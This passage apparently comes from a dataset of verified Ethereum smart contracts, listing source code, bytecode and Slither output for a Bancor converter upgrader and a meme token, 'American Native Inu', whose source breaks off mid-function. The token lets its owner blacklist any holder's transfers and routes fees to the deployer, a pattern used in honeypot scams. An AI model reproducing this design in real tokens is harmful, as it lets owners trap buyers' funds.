address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xfae75ba2bb591a74cbca330174e9736403984bd5
pragma solidity ^0.4.21; /* Owned contract interface */ contract IOwned { // this function isn't abstract since the compiler emits automatically generated getter functions as external function owner() public view returns (address) {} function transferOwnership(address _newOwner) public; function acceptOwnership() public; } /* ERC20 Standard Token interface */ contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public view returns (string) {} function symbol() public view returns (string) {} function decimals() public view returns (uint8) {} function totalSupply() public view returns (uint256) {} function balanceOf(address _owner) public view returns (uint256) { _owner; } function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } /* Smart Token interface */ contract ISmartToken is IOwned, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } /* Contract Registry interface */ contract IContractRegistry { function getAddress(bytes32 _contractName) public view returns (address); } /* Contract Features interface */ contract IContractFeatures { function isSupported(address _contract, uint256 _features) public view returns (bool); function enableFeatures(uint256 _features, bool _enable) public; } /* Whitelist interface */ contract IWhitelist { function isWhitelisted(address _address) public view returns (bool); } /* Bancor Converter interface */ contract IBancorConverter { function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256); function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); function conversionWhitelist() public view returns (IWhitelist) {} // deprecated, backward compatibility function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256); } /* Bancor Converter Factory interface */ contract IBancorConverterFactory { function createConverter( ISmartToken _token, IContractRegistry _registry, uint32 _maxConversionFee, IERC20Token _connectorToken, uint32 _connectorWeight ) public returns (address); } /* Bancor converter dedicated interface */ contract IBancorConverterExtended is IBancorConverter, IOwned { function token() public view returns (ISmartToken) {} function quickBuyPath(uint256 _index) public view returns (IERC20Token) { _index; } function maxConversionFee() public view returns (uint32) {} function conversionFee() public view returns (uint32) {} function connectorTokenCount() public view returns (uint16); function reserveTokenCount() public view returns (uint16); function connectorTokens(uint256 _index) public view returns (IERC20Token) { _index; } function reserveTokens(uint256 _index) public view returns (IERC20Token) { _index; } function setConversionWhitelist(IWhitelist _whitelist) public view; function getQuickBuyPathLength() public view returns (uint256); function transferTokenOwnership(address _newOwner) public view; function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public view; function acceptTokenOwnership() public view; function transferManagement(address _newManager) public view; function acceptManagement() public; function setConversionFee(uint32 _conversionFee) public view; function setQuickBuyPath(IERC20Token[] _path) public view; function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance) public view; function getConnectorBalance(IERC20Token _connectorToken) public view returns (uint256); function getReserveBalance(IERC20Token _reserveToken) public view returns (uint256); function connectors(address _address) public view returns ( uint256 virtualBalance, uint32 weight, bool isVirtualBalanceEnabled, bool isPurchaseEnabled, bool isSet ); function reserves(address _address) public view returns ( uint256 virtualBalance, uint32 weight, bool isVirtualBalanceEnabled, bool isPurchaseEnabled, bool isSet ); } /* Provides support and utilities for contract ownership */ contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** @dev constructor */ function Owned() public { owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { assert(msg.sender == owner); _; } /** @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /** @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** Id definitions for bancor contracts Can be used in conjunction with the contract registry to get contract addresses */ contract ContractIds { bytes32 public constant BANCOR_NETWORK = "BancorNetwork"; bytes32 public constant BANCOR_FORMULA = "BancorFormula"; bytes32 public constant CONTRACT_FEATURES = "ContractFeatures"; } /** Id definitions for bancor contract features Can be used to query the ContractFeatures contract to check whether a certain feature is supported by a contract */ contract FeatureIds { // converter features uint256 public constant CONVERTER_CONVERSION_WHITELIST = 1 << 0; } /* Bancor Converter Upgrader The Bancor converter upgrader contract allows upgrading an older Bancor converter contract (0.4 and up) to the latest version. To begin the upgrade process, first transfer the converter ownership to the upgrader contract and then call the upgrade function. At the end of the process, the ownership of the newly upgraded converter will be transferred back to the original owner. The address of the new converter is available in the ConverterUpgrade event. */ contract BancorConverterUpgrader is Owned, ContractIds, FeatureIds { string public version = '0.2'; IContractRegistry public registry; // contract registry contract address IBancorConverterFactory public bancorConverterFactory; // bancor converter factory contract // triggered when the contract accept a converter ownership event ConverterOwned(address indexed _converter, address indexed _owner); // triggered when the upgrading process is done event ConverterUpgrade(address indexed _oldConverter, address indexed _newConverter); /** @dev constructor */ function BancorConverterUpgrader(IBancorConverterFactory _bancorConverterFactory, IContractRegistry _registry) public { bancorConverterFactory = _bancorConverterFactory; registry = _registry; } /* @dev allows the owner to update the factory contract address @param _bancorConverterFactory address of a bancor converter factory contract */ function setBancorConverterFactory(IBancorConverterFactory _bancorConverterFactory) public ownerOnly { bancorConverterFactory = _bancorConverterFactory; } /* @dev allows the owner to update the contract registry contract address @param _registry address of a contract registry contract */ function setContractRegistry(IContractRegistry _registry) public ownerOnly { registry = _registry; } /** @dev upgrade an old converter to the latest version will throw if ownership wasn't transferred to the upgrader before calling this function. ownership of the new converter will be transferred back to the original owner. fires the ConverterUpgrade event upon success. @param _oldConverter old converter contract address @param _version old converter version */ function upgrade(IBancorConverterExtended _oldConverter, bytes32 _version) public { bool formerVersions = false; if (_version == "0.4") formerVersions = true; acceptConverterOwnership(_oldConverter); IBancorConverterExtended newConverter = createConverter(_oldConverter); copyConnectors(_oldConverter, newConverter, formerVersions); copyConversionFee(_oldConverter, newConverter); copyQuickBuyPath(_oldConverter, newConverter); transferConnectorsBalances(_oldConverter, newConverter, formerVersions); ISmartToken token = _oldConverter.token(); if (token.owner() == address(_oldConverter)) { _oldConverter.transferTokenOwnership(newConverter); newConverter.acceptTokenOwnership(); } _oldConverter.transferOwnership(msg.sender); newConverter.transferOwnership(msg.sender); newConverter.transferManagement(msg.sender); emit ConverterUpgrade(address(_oldConverter), address(newConverter)); } /** @dev the first step when upgrading a converter is to transfer the ownership to the local contract. the upgrader contract then needs to accept the ownership transfer before initiating the upgrade process. fires the ConverterOwned event upon success @param _oldConverter converter to accept ownership of */ function acceptConverterOwnership(IBancorConverterExtended _oldConverter) private { require(msg.sender == _oldConverter.owner()); _oldConverter.acceptOwnership(); emit ConverterOwned(_oldConverter, this); } /** @dev creates a new converter with same basic data as the original old converter the newly created converter will have no connectors at this step. @param _oldConverter old converter contract address @return the new converter new converter contract address */ function createConverter(IBancorConverterExtended _oldConverter) private returns(IBancorConverterExtended) { IWhitelist whitelist; ISmartToken token = _oldConverter.token(); uint32 maxConversionFee = _oldConverter.maxConversionFee(); address converterAdderess = bancorConverterFactory.createConverter( token, registry, maxConversionFee, IERC20Token(address(0)), 0 ); IBancorConverterExtended converter = IBancorConverterExtended(converterAdderess); converter.acceptOwnership(); converter.acceptManagement(); // get the contract features address from the registry IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES)); if (features.isSupported(_oldConverter, FeatureIds.CONVERTER_CONVERSION_WHITELIST)) { whitelist = _oldConverter.conversionWhitelist(); if (whitelist != address(0)) converter.setConversionWhitelist(whitelist); } return converter; } /** @dev copies the connectors from the old converter to the new one. note that this will not work for an unlimited number of connectors due to block gas limit constraints. @param _oldConverter old converter contract address @param _newConverter new converter contract address @param _isLegacyVersion true if the converter version is under 0.5 */ function copyConnectors(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter, bool _isLegacyVersion) private { uint256 virtualBalance; uint32 weight; bool isVirtualBalanceEnabled; bool isPurchaseEnabled; bool isSet; uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount(); for (uint16 i = 0; i < connectorTokenCount; i++) { address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i); (virtualBalance, weight, isVirtualBalanceEnabled, isPurchaseEnabled, isSet) = readConnector( _oldConverter, connectorAddress, _isLegacyVersion ); IERC20Token connectorToken = IERC20Token(connectorAddress); _newConverter.addConnector(connectorToken, weight, isVirtualBalanceEnabled); } } /** @dev copies the conversion fee from the old converter to the new one @param _oldConverter old converter contract address @param _newConverter new converter contract address */ function copyConversionFee(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter) private { uint32 conversionFee = _oldConverter.conversionFee(); _newConverter.setConversionFee(conversionFee); } /** @dev copies the quick buy path from the old converter to the new one @param _oldConverter old converter contract address @param _newConverter new converter contract address */ function copyQuickBuyPath(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter) private { uint256 quickBuyPathLength = _oldConverter.getQuickBuyPathLength(); if (quickBuyPathLength <= 0) return; IERC20Token[] memory path = new IERC20Token[](quickBuyPathLength); for (uint256 i = 0; i < quickBuyPathLength; i++) { path[i] = _oldConverter.quickBuyPath(i); } _newConverter.setQuickBuyPath(path); } /** @dev transfers the balance of each connector in the old converter to the new one. note that the function assumes that the new converter already has the exact same number of also, this will not work for an unlimited number of connectors due to block gas limit constraints. @param _oldConverter old converter contract address @param _newConverter new converter contract address @param _isLegacyVersion true if the converter version is under 0.5 */ function transferConnectorsBalances(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter, bool _isLegacyVersion) private { uint256 connectorBalance; uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount(); for (uint16 i = 0; i < connectorTokenCount; i++) { address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i); IERC20Token connector = IERC20Token(connectorAddress); connectorBalance = _isLegacyVersion ? _oldConverter.getReserveBalance(connector) : _oldConverter.getConnectorBalance(connector); _oldConverter.withdrawTokens(connector, address(_newConverter), connectorBalance); } } /** @dev returns the connector settings @param _converter old converter contract address @param _address connector's address to read from @param _isLegacyVersion true if the converter version is under 0.5 @return connector's settings */ function readConnector(IBancorConverterExtended _converter, address _address, bool _isLegacyVersion) private view returns(uint256 virtualBalance, uint32 weight, bool isVirtualBalanceEnabled, bool isPurchaseEnabled, bool isSet) { return _isLegacyVersion ? _converter.reserves(_address) : _converter.connectors(_address); } }
0x6060604052600436106100b65763ffffffff60e060020a6000350416631050f4e881146100bb57806354fd4d50146100dc5780636d7bd3fc1461016657806379ba50971461018b5780637b1039991461019e57806383315b6e146101cd5780638da5cb5b146101e05780639232494e146101f357806392d1abb714610206578063a236730514610219578063ce0bd51f1461023b578063d4ee1d901461024e578063f2fde38b14610261578063fcd13d6514610280575b600080fd5b34156100c657600080fd5b6100da600160a060020a036004351661029f565b005b34156100e757600080fd5b6100ef6102e6565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012b578082015183820152602001610113565b50505050905090810190601f1680156101585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017157600080fd5b610179610384565b60405190815260200160405180910390f35b341561019657600080fd5b6100da6103a8565b34156101a957600080fd5b6101b1610436565b604051600160a060020a03909116815260200160405180910390f35b34156101d857600080fd5b610179610445565b34156101eb57600080fd5b6101b1610469565b34156101fe57600080fd5b610179610478565b341561021157600080fd5b61017961049c565b341561022457600080fd5b6100da600160a060020a03600435166024356104a1565b341561024657600080fd5b6101b16107e0565b341561025957600080fd5b6101b16107ef565b341561026c57600080fd5b6100da600160a060020a03600435166107fe565b341561028b57600080fd5b6100da600160a060020a0360043516610860565b60005433600160a060020a039081169116146102b757fe5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561037c5780601f106103515761010080835404028352916020019161037c565b820191906000526020600020905b81548152906001019060200180831161035f57829003601f168201915b505050505081565b7f42616e636f72466f726d756c610000000000000000000000000000000000000081565b60015433600160a060020a039081169116146103c357600080fd5b600154600054600160a060020a0391821691167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600354600160a060020a031681565b7f436f6e747261637446656174757265730000000000000000000000000000000081565b600054600160a060020a031681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b600181565b600080807f302e3400000000000000000000000000000000000000000000000000000000008414156104d257600192505b6104db856108a7565b6104e4856109aa565b91506104f1858385610d51565b6104fb8583610f9c565b6105058583611050565b610510858385611212565b84600160a060020a031663fc0c546a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561054d57600080fd5b5af1151561055a57600080fd5b50505060405180519050905084600160a060020a031681600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156105ad57600080fd5b5af115156105ba57600080fd5b50505060405180519050600160a060020a0316141561067f5784600160a060020a03166321e6b53d8360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561062157600080fd5b5af1151561062e57600080fd5b50505081600160a060020a03166338a5e0166040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561066e57600080fd5b5af1151561067b57600080fd5b5050505b84600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156106cd57600080fd5b5af115156106da57600080fd5b50505081600160a060020a031663f2fde38b3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561072b57600080fd5b5af1151561073857600080fd5b50505081600160a060020a031663e4edf8523360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561078957600080fd5b5af1151561079657600080fd5b50505081600160a060020a031685600160a060020a03167f522b846327aea07106ec4d64ae4b6d6dea47689884dab650fd3a1f2e1d6a270160405160405180910390a35050505050565b600454600160a060020a031681565b600154600160a060020a031681565b60005433600160a060020a0390811691161461081657fe5b600054600160a060020a038281169116141561083157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461087857fe5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b80600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156108e457600080fd5b5af115156108f157600080fd5b50505060405180519050600160a060020a031633600160a060020a031614151561091a57600080fd5b80600160a060020a03166379ba50976040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561095757600080fd5b5af1151561096457600080fd5b50505030600160a060020a031681600160a060020a03167ff764604894fa993d4370a9cb28b81c11deb1aafdb2909156173ae3833dad807560405160405180910390a350565b600080600080600080600087600160a060020a031663fc0c546a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156109f257600080fd5b5af115156109ff57600080fd5b5050506040518051955050600160a060020a0388166394c275ad6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610a4757600080fd5b5af11515610a5457600080fd5b5050506040518051600454600354919650600160a060020a03908116925063034efaeb918891168760008060405163ffffffff87811660e060020a028252600160a060020a03968716600483015294861660248201529284166044840152931660648201529116608482015260a401602060405180830381600087803b1515610adc57600080fd5b5af11515610ae957600080fd5b5050506040518051935083925050600160a060020a0382166379ba50976040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515610b3457600080fd5b5af11515610b4157600080fd5b50505081600160a060020a031663c8c2fe6c6040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515610b8157600080fd5b5af11515610b8e57600080fd5b5050600354600160a060020a031690506321f8a7217f436f6e747261637446656174757265730000000000000000000000000000000060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610bfa57600080fd5b5af11515610c0757600080fd5b5050506040518051915050600160a060020a03811663a5fbf28789600160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c6757600080fd5b5af11515610c7457600080fd5b5050506040518051905015610d465787600160a060020a031663c45d3d926040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610cc057600080fd5b5af11515610ccd57600080fd5b5050506040518051965050600160a060020a03861615610d465781600160a060020a0316634af80f0e8760405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610d3557600080fd5b5af11515610d4257600080fd5b5050505b509695505050505050565b600080600080600080600080600089610dbd578b600160a060020a03166371f52bf36040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610da157600080fd5b5af11515610dae57600080fd5b50505060405180519050610e12565b8b600160a060020a0316639b99a8e26040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610dfa57600080fd5b5af11515610e0757600080fd5b505050604051805190505b9350600092505b8361ffff168361ffff161015610f8e5789610e93578b600160a060020a03166319b640158460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610e7757600080fd5b5af11515610e8457600080fd5b50505060405180519050610ef4565b8b600160a060020a031663d031370b8460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b1515610edc57600080fd5b5af11515610ee957600080fd5b505050604051805190505b9150610f018c838c611507565b939c50919a50985096509450819050600160a060020a038b16633f4d2fc2828a8a60405163ffffffff85811660e060020a028252600160a060020a039490941660048201529190921660248201529015156044820152606401600060405180830381600087803b1515610f7357600080fd5b5af11515610f8057600080fd5b505060019093019250610e19565b505050505050505050505050565b600082600160a060020a031663579cd3ca6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610fdb57600080fd5b5af11515610fe857600080fd5b5050506040518051915050600160a060020a03821663ecbca55d8260405163ffffffff83811660e060020a028252919091166004820152602401600060405180830381600087803b151561103b57600080fd5b5af1151561104857600080fd5b505050505050565b600061105a611628565b600084600160a060020a0316639396a7f06040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561109957600080fd5b5af115156110a657600080fd5b5050506040518051935050600083116110be5761120b565b826040518059106110cc5750595b90808252806020026020018201604052509150600090505b828110156111745784600160a060020a031663e7ee85a58260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561113257600080fd5b5af1151561113f57600080fd5b5050506040518051905082828151811061115557fe5b600160a060020a039092166020928302909101909101526001016110e4565b83600160a060020a031663d395ee0f836040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019060200280838360005b838110156111d65780820151838201526020016111be565b5050505090500192505050600060405180830381600087803b15156111fa57600080fd5b5af1151561120757600080fd5b5050505b5050505050565b6000806000806000856112785787600160a060020a03166371f52bf36040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561125c57600080fd5b5af1151561126957600080fd5b505050604051805190506112cd565b87600160a060020a0316639b99a8e26040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156112b557600080fd5b5af115156112c257600080fd5b505050604051805190505b9350600092505b8361ffff168361ffff161015611207578561134e5787600160a060020a03166319b640158460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b151561133257600080fd5b5af1151561133f57600080fd5b505050604051805190506113af565b87600160a060020a031663d031370b8460405160e060020a63ffffffff841602815261ffff9091166004820152602401602060405180830381600087803b151561139757600080fd5b5af115156113a457600080fd5b505050604051805190505b9150819050856114235787600160a060020a031663d89595128260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561140757600080fd5b5af1151561141457600080fd5b50505060405180519050611489565b87600160a060020a03166315226b548260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561147157600080fd5b5af1151561147e57600080fd5b505050604051805190505b945087600160a060020a0316635e35359e82898860405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156114ec57600080fd5b5af115156114f957600080fd5b5050600190930192506112d4565b6000806000806000856115965787600160a060020a0316630e53aae98860405160e060020a63ffffffff8416028152600160a060020a03909116600482015260240160a060405180830381600087803b151561156257600080fd5b5af1151561156f57600080fd5b50505060405180519060200180519060200180519060200180519060200180519050611614565b87600160a060020a031663d66bd5248860405160e060020a63ffffffff8416028152600160a060020a03909116600482015260240160a060405180830381600087803b15156115e457600080fd5b5af115156115f157600080fd5b505050604051805190602001805190602001805190602001805190602001805190505b939c929b5090995097509095509350505050565b602060405190810160405260008152905600a165627a7a72305820c7876d53110b2fd45d8933352979eb6a3671d16c53161213d94bdb591d7672cb0029
{"success": true, "error": null, "results": {}}
8,500
0xc4697dD654A6f0f6e39AbB0D447eAEB824A14E8c
// SPDX-License-Identifier: Unlicense /** https://t.me/americannativeinu **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AmericanNativeInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 30000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "American Native Inu"; string private constant _symbol = "ANI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(100); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 7; _feeAddr2 = 5; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 7; _feeAddr2 = 5; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < 